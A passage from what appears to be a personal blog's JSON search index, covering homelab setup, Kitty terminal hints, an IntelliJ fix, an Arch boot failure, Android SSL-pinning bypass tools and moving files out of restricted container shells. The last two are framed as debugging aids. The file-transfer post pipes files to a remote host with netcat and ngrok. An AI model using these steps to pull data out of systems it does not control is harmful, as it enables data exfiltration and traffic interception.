response\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1015\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cem\u003eTLS handshake fail\u003c/em\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eTransport Layer Security handshake failure\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e1016 - 1999\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eReserved for later\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e2000 - 2999\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eReserved for websocket extensions\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e3000 - 3999\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eRegistered first come first serve at IANA\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e4000 - 4999\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eAvailable for applications\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e","title":"Websocket - Close Status codes"},{"content":"I have been recently tinkering up with idea of setting up a homelab and self hosting few services such as DNS Server, Media server, RSS Aggregator etc along with some standard monitoring tools.\nI evaluated two products, Proxmox and Unraid\nAfter evaluating both, I choose Proxmox primarily because it seemed to fit my needs more than Unraid. Unraid is primarily useful if you have lot of data which needs to be made available to multiple services.\nWhereas, Proxmox seems more suitable to run independent services altogether, either in [Docker](https://en.wikipedia.org/wiki/Docker_(software), VMs or Linux Containers\nFor me, the size of the data was not going to be very much, atleast initially and I found the idea of running an open source software (Proxmox) more appealing than one I had to purchase (Unraid).\nI had a spare 12 CORE / 32 GB machine on which I quickly setup Proxmox and I must say, I really like the way I was quickly able to run the following services in a day:\nJellyfin - Media server Commafeed - Open source RSS aggregator written in Java PiHole - DNS Server with Ad Blocking qbittorrent - Torrent client Nginx Proxy Manager - A simple reverse proxy Prometheus - Well known time series database Grafana - Well known visualization platform The cool thing about Proxmox is that it uses a Type 1 Hypervisor called Kernel-based Virtual Machine (KVM) to run all the above mentioned services in Linux Containers running on Debian Linux OS\nWhat that essentially means is that all these services get their own unique IP Addresses on my LAN network as opposed to all running on a single IP Addresses and exposing on different ports. Type 1 Hypervisor means that they are able to directly access machine hardware and do not have the any additional layer or overhead of resource hungry VM\u0026rsquo;s.\nEach LXC takes around 200 - 300 MB of disk space and around 512 MB of RAM , making them all fit in a single commodity machine.\nOne caveat of this approach is that now I have tons of IP addresses and ports for me to memorize to access these services when I require. Though I can bookmark them, I do not find it appealing.\nHence, I decided to setup a reverse proxy in nginx for each of them in order for me to reach them through a very user friendly url. Here is the screenshot of the setup:\nThe above setup requires some manual setup of setting up a /etc/hosts file with appropriate entries as follows\n# Hosts for nginx proxy manager 192.168.1.133 nginx 192.168.1.133 plexui 192.168.1.133 tui 192.168.1.133 jellyfinui 192.168.1.133 grafanaui 192.168.1.133 promui 192.168.1.133 zkui 192.168.1.133 piholeui 192.168.1.133 rssui Here 192.168.1.133 is the IP Address of Nginx Proxy Manager\nWith the above setup I can reach my services in friendly urls such as:\nhttp://plexui, http://tui, http://jellyfinui, http://grafanaui etc.\nUsing Pihole for DNS Records instead of static host file One might argue that these hosts entries need to be done in each individiaul client that needs to access Proxmox containers and is not a scaleable approach.\nThat is correct, the reason I went with hosts file approach is that right now, I only have a single client - my desktop PC and I do not foresee running PiHole 24x7.\nIncase, I choose PiHole as my permanent DNS resolver and AdBlocker, the scaleable way would be to add these entries in PiHole itself so that it becomes available to any client within my network.\n","permalink":"https://madhur.co.in/blog/2024/01/07/proxmox-user-friendly-urls.html","summary":"\u003cp\u003eI have been recently tinkering up with idea of setting up a \u003ca href=\"https://en.wikipedia.org/wiki/Home_server\"\u003ehomelab\u003c/a\u003e and \u003ca href=\"https://en.wikipedia.org/wiki/Self-hosting_(web_services)\"\u003eself hosting\u003c/a\u003e few services\nsuch as \u003ca href=\"https://en.wikipedia.org/wiki/Name_server\"\u003eDNS Server\u003c/a\u003e, \u003ca href=\"https://en.wikipedia.org/wiki/Media_server\"\u003eMedia server\u003c/a\u003e, \u003ca href=\"https://en.wikipedia.org/wiki/News_aggregator\"\u003eRSS Aggregator\u003c/a\u003e etc along with some standard monitoring tools.\u003c/p\u003e\n\u003cp\u003eI evaluated two products, \u003ca href=\"https://www.proxmox.com/en/\"\u003eProxmox\u003c/a\u003e and \u003ca href=\"https://unraid.net/\"\u003eUnraid\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAfter evaluating both, I choose Proxmox primarily because it seemed to fit my needs more than Unraid. Unraid is primarily useful if you have lot of data which needs to be made available to multiple services.\u003c/p\u003e\n\u003cp\u003eWhereas, Proxmox seems more suitable to run independent services altogether, either in [Docker](\u003ca href=\"https://en.wikipedia.org/wiki/Docker_(software)\"\u003ehttps://en.wikipedia.org/wiki/Docker_(software)\u003c/a\u003e, \u003ca href=\"https://en.wikipedia.org/wiki/Virtual_machine\"\u003eVMs\u003c/a\u003e or \u003ca href=\"https://en.wikipedia.org/wiki/LXC\"\u003eLinux Containers\u003c/a\u003e\u003c/p\u003e","title":"Proxmox - Setting up user friendly urls"},{"content":"Kitty is a very fast and feature rich terminal which has soon become my favourite.\nOne of the powerful features of Kitty is its customizability.\nOne such feature is Kitty hints\nKitty hints allows you to select text on terminal and perform an action through a shortcut key. It is completely customizeable.\nCommon kitty hints action include opening files, folders and opening web urls outputted in terminal.\nOne example where, I was able to customize it was to parse maven output and makes the file links clickable to land directly on the line numbers.\nFor example, consider this build output:\n[INFO] BUILD FAILURE [INFO] ------------------------------------------------------------------------ [INFO] Total time: 0.618 s [INFO] Finished at: 2023-12-28T10:08:38+05:30 [INFO] ------------------------------------------------------------------------ [ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.8.0:compile (default-compile) on project reactive-programming: Compilation failure: Compilation failure: [ERROR] /run/media/madhur/centos/home/madhur/github/personal/reactive-programming/src/main/java/in/co/madhur/mono/FileService.java:[17,9] invalid method declaration; return type required [ERROR] /run/media/madhur/centos/home/madhur/github/personal/reactive-programming/src/main/java/in/co/madhur/mono/FileService.java:[17,20] illegal start of type [ERROR] /run/media/madhur/centos/home/madhur/github/personal/reactive-programming/src/main/java/in/co/madhur/mono/Lec08MonoRunnable.java:[15,54] \u0026#39;;\u0026#39; expected [ERROR] /run/media/madhur/centos/home/madhur/github/personal/reactive-programming/src/main/java/in/co/madhur/mono/Lec06SupplierRefactoring.java:[25,37] \u0026#39;;\u0026#39; expected [ERROR] -\u0026gt; [Help 1] [ERROR] [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. [ERROR] Re-run Maven using the -X switch to enable full debug logging. [ERROR] [ERROR] For more information about the errors and possible solutions, please read the following articles: [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException Using kitty hints, we can make the file paths to FileService.java , Lec08MonoRunnable.java and Lec06SupplierRefactoring.java clickable and land it directly on appropriate line numbers.\nThis required writing custom regex to parse this line and emitting two named capturing groups path and line.\nThis can be done in kitty.conf as :\nmap kitty_mod+p kitten hints --type=regex --regex=\u0026#34;(?\u0026lt;path\u0026gt;(?:\\/[\\w-_^ ]+)+\\/?(?:[\\w.])+[^.]):\\[(?\u0026lt;line\u0026gt;\\d+),\\d+\\].?\u0026#34; --program \u0026#34;launch /home/madhur/scripts/editor.py\u0026#34; The editor.py is a simple program which is invoked with parameters path=...../FileService.java and line=17\nIn my case, I launch Neovim or IntelliJ depending upon if Intellij is previously running.\nThis can be simply done through following snippet:\n#!/usr/bin/env python3 import sys import os import subprocess myObject = {} for line in sys.argv: if \u0026#39;=\u0026#39; not in line: continue print(line) key, value = line.rstrip(\u0026#34;\\n\u0026#34;).split(\u0026#34;=\u0026#34;) myObject[key] = value print(myObject) idea_running = False pl = subprocess.Popen([\u0026#39;ps\u0026#39;, \u0026#39;aux\u0026#39;], stdout=subprocess.PIPE).communicate()[0] list_ps = pl.decode(\u0026#39;utf-8\u0026#39;) if \u0026#39;intellij\u0026#39; in list_ps: idea_running = True if idea_running is True and \u0026#39;java\u0026#39; in myObject[\u0026#39;path\u0026#39;]: print(\u0026#34;Intellij found\u0026#34;) os.system(\u0026#34;flatpak run com.jetbrains.IntelliJ-IDEA-Community \u0026#34; + myObject[\u0026#39;path\u0026#39;]) else: print(\u0026#34;Intellij not found\u0026#34;) os.system(\u0026#34;nvim \u0026#34; + \u0026#34; +\u0026#34;+myObject[\u0026#39;line\u0026#39;] + \u0026#34; \u0026#34; + myObject[\u0026#39;path\u0026#39;]) ","permalink":"https://madhur.co.in/blog/2023/12/28/using-kitty-hints-parse-maven-output.html","summary":"\u003cp\u003e\u003ca href=\"https://github.com/kovidgoyal/kitty\"\u003eKitty\u003c/a\u003e is a very fast and feature rich terminal which has soon become my favourite.\u003c/p\u003e\n\u003cp\u003eOne of the powerful features of Kitty is its customizability.\u003c/p\u003e\n\u003cp\u003eOne such feature is \u003ca href=\"https://sw.kovidgoyal.net/kitty/kittens/hints/\"\u003eKitty hints\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eKitty hints allows you to select text on terminal and perform an action through a shortcut key. It is completely customizeable.\u003c/p\u003e\n\u003cp\u003eCommon kitty hints action include opening files, folders and opening web urls outputted in terminal.\u003c/p\u003e\n\u003cp\u003eOne example where, I was able to customize it was to parse maven output and makes the file links clickable to land directly on the line numbers.\u003c/p\u003e","title":"Using Kitty hints to parse maven output"},{"content":"I have always been a tinkerer and loved to explore internal of applications.\nAndroid has always fascinated me from the beginning partly because its mostly open source and allows you to customize. Other aspect of Android which has been useful is Rooting\nRooting allows you to take complete control over the application and customize some of the aspects which are not possible in non-rooted Android.\nOne area where rooting helps is capturing SSL network traffic of the applications. This helps in debugging and learning more about how networks works. In this post, we will see how can we capture the network traffic for inspection in Android. This is mostly for debugging and learning purpose.\nApk-mitm APK mitm tools modified the original Android application to disable the SSL Pinning. This tool relies on apktool heavily.\nThis tool always doesn\u0026rsquo;t work. Recently there has been lot of issues which have no solutions.\nHowever, if it works, this is the most easiest and straightforward way as the modified app can be installed on non-rooted device and just inspected through proxy such as Charles\nAndroid Unpinner This tool is different from Apk Mitm in a way that it bypasses the SSL pinning code only at runtime. Thus, you no longer have to disassemble and repackage the application.\nThis tool relies heavily on Frida tools for its job.\nAgain, this tool is not gauranteed to work 100% of the time.\nRooting If you can root your device, it is very easy to capture network traffic even if its from SSL pinned app. However, rooting can destroy warranty.\nThese days, most of the Android apps, will refuse to start if they detect that they are running on a rooted software.\nHence, this option is only viable if you have a spare device.\nRooted AVD This is my most preferred method and mostly always works. Since the purpose of network inspection is mostly debugging and learning, we can do it on AVD instead of actual device.\nrootAVD allows you to seemlessly root the running AVD device, using the simple command\n./rootAVD.sh system-images/android-33/google_apis_playstore/x86_64/ramdisk.img where system-images/android-33/google_apis_playstore/x86_64/ramdisk.img is the path of AVD devices relative to $ANDROID_HOME\nNext step, would be to install MagiskTrustUserCerts module of Magisk\nThis module makes all installed user certificates part of the system certificate store, so that they will automatically be used when building the trust chain. This module makes it unnecessary to add the network_security_config property to an application\u0026rsquo;s manifest.\nOnce installed, your Magisk modules section should look like this\nNow, the only step remaining is enabling proxy to intercept traffic. I use Charles proxy and this opens the port 8888 for listening to traffic.\nEnabling proxy on AVD is as simple as executing:\nadb shell settings put global http_proxy 192.168.1.252:8888 where 192.168.1.252 is the local IP address of the host machine.\nDisabling proxy can be done using:\nadb shell settings put global http_proxy :0 If you guys have been using more preferred way to inspect SSL traffic. Let me know in the comments.\n","permalink":"https://madhur.co.in/blog/2023/12/05/android-ssl-pinning-bypass.html","summary":"\u003cp\u003eI have always been a tinkerer and loved to explore internal of applications.\u003c/p\u003e\n\u003cp\u003eAndroid has always fascinated me from the beginning partly because its mostly open source and allows you to customize. Other aspect of Android which has been useful is \u003ca href=\"https://en.wikipedia.org/wiki/Rooting_(Android)\"\u003eRooting\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eRooting allows you to take complete control over the application and customize some of the aspects which are not possible in non-rooted Android.\u003c/p\u003e\n\u003cp\u003eOne area where rooting helps is capturing SSL network traffic of the applications. This helps in debugging and learning more about how networks works. In this post, we will see how can we capture the network traffic for inspection in Android. This is mostly for debugging and learning purpose.\u003c/p\u003e","title":"Android SSL Pinning Bypass"},{"content":"If you are anytime stuck in a shell where you want to transfer files out of it, and do not have full access such as kubectl or docker exec. Here is the nifty hack:\nMethod 1 (Using ngrok): Run a ngrok tunnel on the target computer\nngrok http 5000 Run a simple node program to capture request body\nconst express = require(\u0026#39;express\u0026#39;) const app = express() const port = 80 var bodyParser = require(\u0026#39;body-parser\u0026#39;) app.post(\u0026#39;/\u0026#39;, (req, res)=\u0026gt; { console.log(req.body); }) app.listen(port, () =\u0026gt; { console.log(`Example app listening at http://localhost:${port}`) }) The disadvantage of this method is that post body size will be limited by terms dictated by ngrok\nAnother disadvantage is that you cannot use this to transfer sensitive info.\nMethod 2 (using Netcat) Run the netcat server on the target computer\nnc -l -p 5000 \u0026gt; file.txt \u0026lt; /dev/null Stream the file to the port from the source shell\ncat anyfile.txt | netcat server.ip.here 5000 Here the target computer needs to be on internet. It can done via ngrok tcp tunnel or a small EC2 instance.\n","permalink":"https://madhur.co.in/blog/2023/11/14/transfer-files-from-shell-k8s.html","summary":"\u003cp\u003eIf you are anytime stuck in a shell where you want to transfer files out of it, and do not have full access such as \u003ccode\u003ekubectl\u003c/code\u003e or \u003ccode\u003edocker exec\u003c/code\u003e. Here is the nifty hack:\u003c/p\u003e\n\u003ch3 id=\"method-1-using-ngrok\"\u003eMethod 1 (Using ngrok):\u003c/h3\u003e\n\u003cp\u003eRun a ngrok tunnel on the target computer\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003engrok http 5000\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eRun a simple node program to capture request body\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eexpress\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erequire\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;express\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eapp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eexpress\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eport\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e80\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ebodyParser\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erequire\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;body-parser\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ereq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e)=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ereq\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebody\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elisten\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Example app listening at http://localhost:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eport\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe disadvantage of this method is that post body size will be limited by terms dictated by \u003ca href=\"https://ngrok.com/\"\u003engrok\u003c/a\u003e\u003c/p\u003e","title":"Transfer files from k8s or docker shell to other host"},{"content":"I have occasionally got the error while starting IntelliJ\nIntelliJ cannot launch because \u0026#39;process 2\u0026#39; already running The process ID sometimes changed, restarting or even re-installing Intellij doesn\u0026rsquo;t solve the problem.\nI run the Flatpak version of IntelliJ\nThere are multiple threads for this online which suggest different solutions:\nhttps://intellij-support.jetbrains.com/hc/en-us/community/posts/13541697317906-Error-while-opening-intellij-Cannot-connect-to-already-running-IDE-instance-Exception-Process-2-837-is-still-running-\nhttps://intellij-support.jetbrains.com/hc/en-us/community/posts/10865358461202-Intellij-cannot-launch-because-process-2-already-running\nhttps://askubuntu.com/questions/1462372/ubuntu-cannot-launch-intellij-anymore\nhttps://www.reddit.com/r/pycharm/comments/15esk6r/cannot_connect_to_already_running_ide_instance/\nThe root of the problem is the .lock file which IntelliJ creates while starting up. If there is a unclean shutdown, there are chances that this file will exist and the product will throw the mentioned error.\nSolution is to simply delete this file. This file resides in the preferences folder, which can be anywhere depending on the Operating System.\nFor me it resided in\nrm ~/.var/app/com.jetbrains.IntelliJ-IDEA-Community/config/JetBrains/IdeaIC2023.2/.lock simply deleting this file, solves the problem.\nFor Mac OS, this file would potentially reside in\n/Library/Application Support/JetBrains/ ","permalink":"https://madhur.co.in/blog/2023/10/30/cannot-start-intellij.html","summary":"\u003cp\u003eI have occasionally got the error while starting \u003ca href=\"https://www.jetbrains.com/idea/\"\u003eIntelliJ\u003c/a\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eIntelliJ cannot launch because \u0026#39;process 2\u0026#39; already running\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe process ID sometimes changed, restarting or even re-installing Intellij doesn\u0026rsquo;t solve the problem.\u003c/p\u003e\n\u003cp\u003eI run the \u003ca href=\"https://flatpak.org/\"\u003eFlatpak\u003c/a\u003e version of \u003ca href=\"https://flathub.org/apps/com.jetbrains.IntelliJ-IDEA-Community\"\u003eIntelliJ\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThere are multiple threads for this online which suggest different solutions:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://intellij-support.jetbrains.com/hc/en-us/community/posts/13541697317906-Error-while-opening-intellij-Cannot-connect-to-already-running-IDE-instance-Exception-Process-2-837-is-still-running-\"\u003ehttps://intellij-support.jetbrains.com/hc/en-us/community/posts/13541697317906-Error-while-opening-intellij-Cannot-connect-to-already-running-IDE-instance-Exception-Process-2-837-is-still-running-\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://intellij-support.jetbrains.com/hc/en-us/community/posts/10865358461202-Intellij-cannot-launch-because-process-2-already-running\"\u003ehttps://intellij-support.jetbrains.com/hc/en-us/community/posts/10865358461202-Intellij-cannot-launch-because-process-2-already-running\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://askubuntu.com/questions/1462372/ubuntu-cannot-launch-intellij-anymore\"\u003ehttps://askubuntu.com/questions/1462372/ubuntu-cannot-launch-intellij-anymore\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.reddit.com/r/pycharm/comments/15esk6r/cannot_connect_to_already_running_ide_instance/\"\u003ehttps://www.reddit.com/r/pycharm/comments/15esk6r/cannot_connect_to_already_running_ide_instance/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe root of the problem is the \u003ccode\u003e.lock\u003c/code\u003e file which IntelliJ creates while starting up. If there is a unclean shutdown, there are chances that this file will exist and the product will throw the mentioned error.\u003c/p\u003e","title":"Intellij cannot launch because 'process 2' already running"},{"content":"Recently I faced boot failure after upgrading my Arch Linux system.\nThe error was\nERROR: device \u0026#39;UUID=1dd743ed-e0a5-4b0c-80ee-186e89eea401\u0026#39; not found. Skipping fsck. mount: /new_root: can\u0026#39;t find UUID=1dd743ed-e0a5-4b0c-80ee-186e89eea401. ERROR: failed to mount \u0026#39;1dd743ed-e0a5-4b0c-80ee-186e89eea401\u0026#39; on real root You are now being dropped into an emergency shell. sh: can\u0026#39;t access tty; job control turned off [rootfs ~]# _ This could happen while building errorneous initramfs image\nIt was evident from /var/log/pacman.log logs\n[2023-10-04T20:36:26+0530] [ALPM] running \u0026#39;90-mkinitcpio-install.hook\u0026#39;... [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] ==\u0026gt; Building image from preset: /etc/mkinitcpio.d/linux.preset: \u0026#39;default\u0026#39; [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] ==\u0026gt; Using configuration file: \u0026#39;/etc/mkinitcpio.conf\u0026#39; [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] -\u0026gt; -k /boot/vmlinuz-linux -c /etc/mkinitcpio.conf -g /boot/initramfs-linux.img [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] ==\u0026gt; Starting build: \u0026#39;6.5.2-arch1-1\u0026#39; [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [base] [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [udev] [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [autodetect] [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] sort: cannot read: \u0026#39;/sys/devices/pci0000:00/0000:00:08.1/0000:08:00.3/usb3/3-1/3-1.2/3-1.2:1.2/ep_04/uevent\u0026#39;: No such file or directory [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] modprobe: ERROR: missing parameters. See -h. [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [modconf] [2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [block] [2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [keyboard] [2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [keymap] [2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [consolefont] [2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: consolefont: no font found in configuration [2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [filesystems] [2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [fsck] [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Generating module dependencies [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Creating zstd-compressed initcpio image: \u0026#39;/boot/initramfs-linux.img\u0026#39; [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Image generation successful [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Building image from preset: /etc/mkinitcpio.d/linux.preset: \u0026#39;fallback\u0026#39; [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Using configuration file: \u0026#39;/etc/mkinitcpio.conf\u0026#39; [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] -\u0026gt; -k /boot/vmlinuz-linux -c /etc/mkinitcpio.conf -g /boot/initramfs-linux-fallback.img -S autodetect [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Starting build: \u0026#39;6.5.2-arch1-1\u0026#39; [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [base] [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [udev] [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [modconf] [2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [block] [2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;qed\u0026#39; [2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;bfa\u0026#39; [2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;qla2xxx\u0026#39; [2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;aic94xx\u0026#39; [2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;wd719x\u0026#39; [2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;qla1280\u0026#39; [2023-10-04T20:36:30+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;xhci_pci\u0026#39; [2023-10-04T20:36:31+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [keyboard] [2023-10-04T20:36:32+0530] 